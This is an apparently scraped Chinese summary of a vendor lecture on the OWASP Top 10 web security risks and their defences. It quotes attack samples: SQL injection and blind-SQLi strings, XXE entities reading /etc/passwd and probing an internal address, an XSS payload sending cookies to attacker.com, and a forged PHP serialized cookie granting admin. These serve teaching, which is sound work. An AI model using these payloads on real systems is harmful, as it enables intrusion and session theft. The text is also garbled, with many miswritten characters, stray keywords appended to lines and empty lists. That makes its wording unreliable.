本文由葡萄城技术团队于原创并首发javascript
转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具、解决方案和服务,赋能开发者。php
在昨天的公开课中,因为参与的小伙伴们积极性和热情很是高,咱们的讲师Carl(陈庆)把原定第二讲的大部分也一并献出了,因此原定三场的公开课也变为了两场,本系列的公开课生动有趣、干货满满、受众普遍,因此没有参与上次课程的小伙伴们此次请不要忘记了,本期公开课,咱们将着重介绍OWASP Top 10(10项最严重的Web应用程序安全风险预警)及其应对策略。公开课地址:http://live.vhall.com/137416596html
《OWASP Top 10》的目的在于为广大企业肯定一组最严重的风险项目。对于其中的每一项风险,咱们将使用基于OWASP风险等级排序的评级方案,为您提供关于漏洞广泛性、可检测性、业务/技术影响等信息。前端
将不受信任的数据做为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS注入和LDAP注入等注入缺陷。攻击者的恶意数据能够诱使解析器在没有适当受权的状况下执行非预期命令或访问数据。java
可利用性:容易web
几乎任何数据源都能成为注入载体,包括环境变量、全部类型的用户、参数、外部和内部Web服务。当攻击者能够向解释器发送恶意数据时,注入漏洞即可产生。正则表达式
广泛性:常见算法
注入漏洞十分广泛,尤为是在遗留代码中。注入漏洞一般能在SQL、LDAP、XPath或是NoSQL查询语句、OS命令、XML解析器、SMTP包头、表达式语句及ORM查询语句中找到。数据库
可检测性:易编程
注入漏洞很容易经过代码审查发现。扫描器和模糊测试工具能够帮助攻击者找到这些漏洞。
技术影响:严重
注入能致使数据丢失、破坏或泄露给无受权方、缺少可审计性或是拒绝服务。注入有时甚至能致使主机被彻底接管。
业务影响:未知
您的应用和数据须要受到保护,以免对业务形成影响。
当您的应用有以下状况时,是脆弱且易受到攻击的:
一些常见的注入,包括:SQL、OS命令、ORM、LDAP和表达式语言(EL)或OGNL注入。
全部编译器的原理都是类似的,所以 Code Review是目前为止最有效的检测应用程序注入风险的办法之一。固然,您也能够对代码中全部参数、字段、头、cookie、JSON和XML数据输入进行DAST扫描,并将SAST和DAST工具添加到CI/CD进程中,以便在项目部署前对现有代码或新代码进行注入检测。
防止注入漏洞须要将数据与命令语句、查询语句分隔开来:
场景#1:应用程序在脆弱的SQL语句结构中使用不可信数据: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'“; 场景#2:框架应用的盲目信任,也可能致使查询语句的漏洞。(例如:Hibernate查询语言(HQL)): Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");
在这两个案例中,攻击者在浏览器中将“id”参数的值修改为: ’or’1’=’1。例如:
http://example.com/app/accountView?id=' or '1'='1
这样查询语句的意义就变成了从accounts表中返回全部记录。
SQL盲注,就是在SQL语句注入后且成功执行时,执行的结果不能回显到前端页面。此时,咱们须要利用一些方法进行判断或者尝试,这个过程称之为盲注。
盲注通常分为三类:
1、基于布尔的盲注
基于布尔的盲注一般使用逻辑判断推测获取的数据,经过给定条件,服务器返回真或假。使用二分法或者正则表达式等方法便可缩小判断的范围。
2、基于时间的盲注
主要是利用延时或者执行的时间来判断。
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假,执行 sleep
由于延时会受到网络环境的影响,所以这种方法不是很可靠。
3、基于报错的盲注
构造payload让信息经过错误提示显示。
count(*)和rand(0)和group by报错
rand(0)是伪随机数列,01101100。产生报错的缘由是由于rand(0)并非一个定值,至关于一个变量。使用group by时,会创建一张虚拟表,字段为key和count(*)。执行插入操做,第一次返回0,但虚拟表中没有这个项,数据库会认为须要插入这个项,但数据库并无记录下来,所以,会再次执行rand(0) 试图获取,但此时获取的是第二个数。依次类推,当数据库查询发现0这个项不存在,执行插入操做时, rand(0)返回值为1,可是1已经存在,这时插入已经存在的项就会报错。
之因此要谈到WAF的常见特征,是为了更好的了解WAF的运行机制,以便增长绕过WAF的机会。整体来讲,WAF(Web Application Firewall)具备如下四个方面的功能:
WAF过滤机制:
绕过WAF的方法:
从目前能找到的资料来看,绕过WAF的技术主要分为9类,包含:
经过错误地使用Web应用程序的身份认证和会话管理功能,攻击者可以破译密码、密钥和会话令牌,或者利用其它开发缺陷来暂时性或永久性地冒充管理员的身份。
可利用性:容易
攻击者能够轻松获取数百万条有效用户名和密码组合,包括证书、默认的帐户管理列表、自动的暴力破解和字典攻击工具,以及高级的GPU破解工具。会话管理能够很容易地被利用,尤为是没有过时的会话密匙。
广泛性:常见
大多数管理系统的设计和实现,都存在身份认证失效的问题。会话管理是身份验证和访问控制的基础,而且存在于整个应用程序的进程中。
可检测性:通常
攻击者一般使用指南手册来检测失效的身份验证。除此以外,也会关注密码转储、字典攻击,或者在相似钓鱼、社会工程攻击后,发现失效的身份认证。
技术影响:严重
攻击者只需访问几个帐户,或者一个管理员帐户就能够破坏咱们的系统。根据应用程序业务场景的不一样,可能会致使洗钱、欺诈、用户身份盗窃、泄露法律保护的敏感信息等严重违法行为。
确认用户身份、身份验证和会话管理很是重要,这些措施可用于将恶意的、未经身份验证的攻击者与受权用户进行分离。若是您的应用程序存在以下问题,那么可能存在身份验证失效漏洞:
场景#1:最多见的攻击方式——凭证填充,使用已知密码的列表。若是应用程序不限制身份验证尝试次数,则能够将应用程序用做密码oracle, 以肯定凭证是否有效。
场景#2:大多数身份验证攻击都是因为密码做为惟一的认证因素。
场景#3:应用会话超时设置不正确。用户使用公共计算机访问应用程序时,直接关闭浏览器选项卡就离开,而不是选择“注销”。
撞库,是黑客经过收集互联网已泄露的用户和密码信息,生成对应的字典表,尝试批量登录其余网站后,获得一系列能够登陆的用户。不少用户在不一样网站使用的是相同的帐号和密码,所以黑客能够经过获取用户在A网站的帐户从而尝试登陆B网站,这就是撞库攻击。
撞库能够经过数据库安全防御技术解决,数据库安全技术包括:数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。
撞库并不神秘,事实上,它正被普遍的使用。举例而言,根据Shape Security的报告,“攻击者们一旦锁定了一个财富100强的B2C(企业对消费者)网站,就会在一个星期内使用遍及世界各地的代理服务器,对其进行超过五百万次登陆尝试。” 雪上加霜的是,被窃取的凭证也并不难找。黑客们会为了找乐子或寻求扬名立万的机会把凭证散播到网上。当黑客们在凭证黑市(好比Cracking-dot-org、 Crackingking-dot-org以及 Crackingseal-dot-io)作生意时,这些名声会派上大用场。
多因素验证(Multi-factor authentication,缩写为 MFA),又译多因子认证、多因素认证,是一种计算机访问控制的方法,用户要经过两种以上的认证机制以后,才能获得受权,使用计算机资源。例如,用户要输入PIN码,插入银行卡,最后再经指纹比对,经过这三种认证方式,才能得到受权。这种认证方式能够提升安全性。
许多Web应用程序和API都没法正确保护敏感数据,例如:财务数据、医疗数据和PII数据。攻击者能够经过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其余犯罪行为。未加密的敏感数据容易受到破坏,所以,咱们须要对敏感数据加密,这些数据包括:传输过程当中的数据、存储的数据以及浏览器的交互数据。
可利用性:通常
攻击者并不是直接攻击,而是在传输过程当中、从客户端(例如:浏览器)窃取密钥、发起中间人攻击,或从服务器端直接窃取明文数据。
广泛性:普遍
这是最多见,也是最具影响力的攻击手段。在数据加密的过程当中,因为不安全的密钥生成、管理以及使用弱加密算法、弱协议和弱密码(未加盐的哈希算法或弱哈希算法),致使数据泄露事件频发。
可检测性:通常
在服务器端,检测传输过程当中的数据弱点很容易,但检测存储数据的弱点却异常困难。
技术影响:严重
敏感数据泄露事件形成的影响是很是严重的,由于这些数据一般包含了不少我的信息(PII),例如:医疗记录、认证凭证、我的隐私、信用卡信息等。这些信息受到相关法律和条例的保护,例如:欧盟《通用数据保护条例》(GDPR)和地方隐私保护法律。
首先你须要确认哪些数据(包含:传输过程当中的数据、存储数据)是敏感数据。例如:密码、信用卡卡号、医疗记录、我的信息等,这些数据应该被加密,请Review:
对一些须要加密的敏感数据,应该作到如下几点:
10. 将工做因素(延迟因素)设置在可接受的范围。
11. 单独验证每一个安全配置项的有效性。
场景 #1:假设一个应用程序使用自动化的数据加密系统加密了信用卡信息,并存储在数据库中,当数据被检索时自动解密。这会致使SQL注入漏洞可以以明文形式得到全部信用卡卡号。
场景 #2:一个网站上没有使用或强制使用TLS,或者仅使用弱加密算法。攻击者经过监测网络流量(如:不安全的无线网络),将网络链接从HTTPS降级到HTTP,就能够截取请求并窃取用户会话 cookie。而后,攻击者能够复制用户cookie并成功劫持通过认证的用户会话、访问或修改用户我的信息。除此以外,攻击者还能够更改全部传输过程当中的数据,如:转款的接收者。
场景 #3:密码数据库使用未加盐的哈希算法或弱哈希算法去存储密码,此时,一个文件上传漏洞可以使黑客可以获取密码文件,而这些未加盐的哈希密码经过彩虹表暴力破解方式便可快速破解。
日本我的信息保护法
近年来,因信息、通讯技术的发展,企业须要收集大量我的信息,用以提供准确且迅速的服务。我的信息的利用,不管是对现今的商业活动,仍是对国民生活都变得不可或缺。可是,另外一方面,因为处理我的信息情况不当,致使我的权利和利益受到损害的可能性也在增大。在日本,包含企业和政府等团体的组织内部,泄露的我的信息数量累积超过了1000万件。因而,鉴于规范处理我的信息,明确国家及地方公共团体的职责,确保我的信息有效利用等目的,日本于2005年4月1日起颁布《我的信息保护法》。
欧盟《通用数据保护条例》(GDPR)
欧盟《通用数据保护条例》(General Data Protection Regulation,简称GDPR),其前身是欧盟在1995年制定的《计算机数据保护法》,该法明确规定:
数据安全防范的方法简单来讲,当数据从用户键盘敲出的那一刻,到服务器后台存储过程当中,都需保持正确的姿式。如:
a) 低级错误:明文保存密码
b) 低级错误:可逆加密密码
c) 错误方法:md5 加密密码
d) 正确方法:加盐 hash 保存密码
a) 验证服务端的合法性
b) 确保通讯的安全
许多较早的或配置错误的XML处理器评估了XML文件中的外部实体引用。攻击者能够利用外部实体窃取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击。
可利用性:通常
若是攻击者能够上传XML文档或在XML文档中添加恶意内容(如,易受攻击的代码、依赖项或集成),他们就可以攻击含有缺陷的XML处理器。
广泛性:常见
通常来讲,许多旧的XML处理器可以对外部实体、XML进程中被引用和评估的URI进行规范。SAST 工具能够经过检查依赖项和安全配置来发现XXE缺陷。DAST工具须要额外的手动步骤来检测和利用XXE缺陷。
技术影响:严重
XXE缺陷可用于提取数据、执行远程服务器请求、扫描内部系统、执行拒
绝服务攻击和其余攻击。
应用程序,特别是基于XML的Web服务,可能在如下方面容易受到攻击:
培训开发人员的安全意识,是识别和减小XXE的关键,除此以外,还须要:
目前,已经有大量XXE缺陷被发现并公开,这些缺陷包括上传可被接受的恶意XML文件、嵌入式设备的 XXE缺陷及深嵌套的依赖项等。
场景 #1:攻击者尝试从服务端提取数据:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> 场景 #2:攻击者经过将上面的实体行更改成如下内容来探测服务器的专用网络: <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]> 场景 #3:攻击者经过恶意文件执行拒绝服务攻击: <!ENTITY xxe SYSTEM "file:///dev/random" >]>
XML是用于标记电子文件使其具备结构性的标记语言,能够用来标记数据、定义数据类型,是一种容许用户对本身的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
图片来自网络
XML由3个部分构成,分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展连接语言(Extensible Link Language,XLL)。
XML 中的实体分为如下五种:字符实体,命名实体,外部实体,参数实体,内部实体,普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义须要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。若是不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。
XML外部实体表示外部文件的内容,用 SYSTEM 关键词表示:
<!ENTITY test SYSTEM "1.xml"> 有些XML文档包含system标识符定义的“实体”,这些文档会在DOCTYPE头部标签中呈现。这些定义的“实体”可以访问本地或者远程的内容。好比,下面的XML文档示例就包含了XML“实体”。 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE Anything [ <!ENTITY entityex SYSTEM "file:///etc/passwd"> ]> <abc>&entityex;</abc>
在上面的代码中, XML外部实体 ‘entityex’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程当中,实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。 关键字’SYSTEM’会告诉XML解析器,’entityex’实体的值将从其后的URI中读取,并把读取的内容替换entityex出现的地方。
假如 SYSTEM 后面的内容能够被用户控制,那么用户就能够随意替换为其余内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)。
XXE注入(即XML External Entity, XML外部实体注入)。经过 XML 实体,”SYSTEM”关键词致使 XML 解析器能够从本地文件或者远程 URI 中读取数据。攻击者能够经过 XML 实体传递本身构造的恶意值,从而引导处理程序解析它。当引用外部实体时,攻击者经过构造恶意内容,可读取任意文件、执行系统命令、探测内网端口、攻击内网网站等行为。
最多见的XXE漏洞类型分为如下三种:
既然XML能够从外部读取DTD文件,那咱们就天然地想到了若是将路径换成另外一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要咱们在XML中让前面的根元素的内容显示出来,就能够读取那个文件的内容了。这就形成了一个任意文件读取的漏洞。
假设咱们指向的是一个内网主机的端口呢?是否会给出错误信息,咱们是否是能够从错误信息上来判断内网主机这个端口是否开放,这就形成了一个内部端口被探测的问题。通常来讲,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另外一种是一部分的、“流式”地加载、解析。若是咱们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,形成了拒绝服务攻击。
未对经过身份验证的用户实施恰当的访问控制。攻击者能够利用这些缺陷,访问未经受权的功能或数据,例如:访问其余用户的帐户、查看敏感文件、修改其余用户的数据、更改访问权限等。
安全配置错误是最多见的安全问题,这一般是因为不安全的默认配置、不完整的临时配置、开源云存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误信息所形成的。所以,咱们不只须要对全部的操做系统、框架、库和应用程序进行安全配置,并且必须及时修补和升级它们。
当应用程序的新网页中包含不受信任的、未经验证或转义的数据时,或者使用能够建立 HTML或 JavaScript 的浏览器 API 更新现有网页时,就会出现 XSS 缺陷。XSS 让攻击者可以在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。
可利用性:容易
自动化工具可以检测并利用全部的三种XSS形式,而且存放在便于攻击者利用的漏洞中。
广泛性:普遍
XSS是OWASP Top10中第二广泛的安全问题,存在于近三分之二的应用程序中。
可检测性:容易
自动化工具能发现XSS问题,尤为是一些成熟的技术框架中,如:PHP、J2EE或JSP、ASP.NET等。
技术影响:中等
XSS对于反射和DOM的影响是中等的,而对于存储的XSS,XSS的影响更为严重,譬如在受到攻击的浏览器上执行远程代码,如:窃取凭证和会话或传递恶意软件等。
针对用户的浏览器,存在三种XSS类型:
典型的XSS攻击形成的结果包含:盗取Session、帐户、绕过MFA、DIV替换、对用户浏览器的攻击(例如:恶意软件下载、键盘记录)以及其余用户侧的攻击。
防止XSS,须要将不可信的数据与动态的浏览器内容区分开:
场景#1:应用程序在下面的HTML代码段构造中使用了未经验证或转义的不可信的数据源:
(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC“) + "'>";
攻击者在浏览器中修改“CC” 参数为以下值:
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.
这个攻击会致使受害者的会话ID被发送到攻击者的网站,使得攻击者可以劫持用户当前会话。
内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。不管是数据盗取、网站内容污染仍是恶意软件,这些攻击都是主要的手段。
CSP 被设计成彻底向后兼容(除CSP2 在向后兼容有明确说起的不一致外)。不支持CSP的浏览器也能与实现了CSP的服务器正常合做,反之亦然:不支持 CSP 的浏览器只会忽略它,如常运行,默认为网页内容使用标准的同源策略。若是网站不提供 CSP Header,浏览器将使用标准的同源策略。
为使CSP可用, 你须要配置你的网络服务器返回 Content-Security-Policy HTTP Header ( 有时你会看到一些关于X-Content-Security-Policy Header的提法, 那是旧版本,你无须再如此指定它)。
除此以外, <meta> 元素也能够被用来配置该策略, 例如:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
上下文敏感数据编码(XSS编码与绕过)
对于了解Web安全的朋友来讲,都知道XSS这种漏洞,其危害性不用强调。通常对于该漏洞的防御有两个思路:一是过滤敏感字符,诸如【<,>,script,'】等,另外一种是对敏感字符进行html编码,诸如php中的htmlspecialchars()函数。
通常状况,正确实施这两种方案之一就能够有效防护XSS漏洞了。但其实也会有一些场景,即便实施了这两种方案,攻击者也能够绕过防御,致使XSS漏洞被利用。
场景一:XSS注入点在某个html标签属性中,代码片断以下:
能够看到,这里防御措施采用的是方案一:过滤敏感字符。这里若是输入javascript:alert (11),是会被过滤掉的,输出的内容会是:
场景二:XSS注入点在js标签中,代码片断以下:
这里采用的防御措施是第二种,即便用php内置函数htmlspecialchars对敏感字符进行编码。若是输入正常的payload,如:<img src=1 onerror=alert(11)>,是不会有弹窗的,此时浏览器的输出以下图:
这里的敏感字符< >,已经被html编码了,最后在<div>标签里面输出的时候,浏览器再使用html解码将其原文显示出来,可是并不会触发js引擎,因此也就没有弹窗。
下图是js编码后的payload:
不安全的反序列化会致使远程代码执行。即便反序列化缺陷不会致使远程代码执行,攻击者也能够利用它们来执行攻击,包括:重播攻击、注入攻击和特权升级攻击。
可利用性:难
对反序列化的利用很是困难。由于在不更改或调整底层可被利用代码的状况下,现成的反序列化漏洞很难被使用。
可检测性:通常
有些工具能够被用于发现反序列化缺陷,但常常须要人工帮助来验证发现的问题。但愿有关反序列化缺陷的广泛性数据将随着工具的开发而被更多的识别和解决。
技术影响:严重
反序列化缺陷的影响不能被低估。它们可能致使远程代码执行攻击,这是可能发生的最严重的攻击之一。
若是反序列化进攻者提供恶意代码或者被篡改过的对象,将会使整个应用程序和API变的脆弱,这可能会致使如下两种主要类型的攻击:
在应用程序中,序列化可能被用于:
惟一安全的架构模式是:不接受来自不受信源的序列化对象,或使用只容许原始数据类型的序列化媒体。 若是上述均没法实现,请考虑使用下面的方法:
场景 #1:一个React应用程序调用了一组Spring Boot微服务,为了确保原有的代码不变,解决方法是序列化用户状态,并在每次请求时来回传递。这时,攻击者可利用“R00”Java对象签名,并使用Java Serial Killer工具在应用服务器上得到远程代码执行。
场景 #2:一个PHP论坛使用PHP对象序列化来保存一个“超级”cookie。该cookie包含了用户的ID、角色、密码哈希和其余状态:
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
攻击者能够更改序列化对象以授予本身为admin权限:
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
组件(例如:库、框架和其余软件模块)拥有和应用程序相同的权限。若是应用程序中含有已知漏洞的组件被攻击者利用,可能会形成严重的数据丢失或服务器接管。同时,使用含有已知漏洞的组件和API会破坏应用程序的防护手段,形成各类攻击并产生严重影响。
不足的日志记录和监控,以及事件响应缺失或无效的集成,使攻击者可以进一步攻击系统,并篡改、提取或销毁数据。大多数缺陷研究显示,缺陷被检测出的时间超过200天,且一般经过外部检测方检测,而不是经过内部流程或监控检测。
a) ZAP Tools
b) 静态代码分析
以上即是从本次公开课分享——“WebApp 安全风险与防御(系列二)”中截取的部份内容,相信必定能对您的WebApp应用程序安全防御有所帮助。
下面奉上上期完整的回放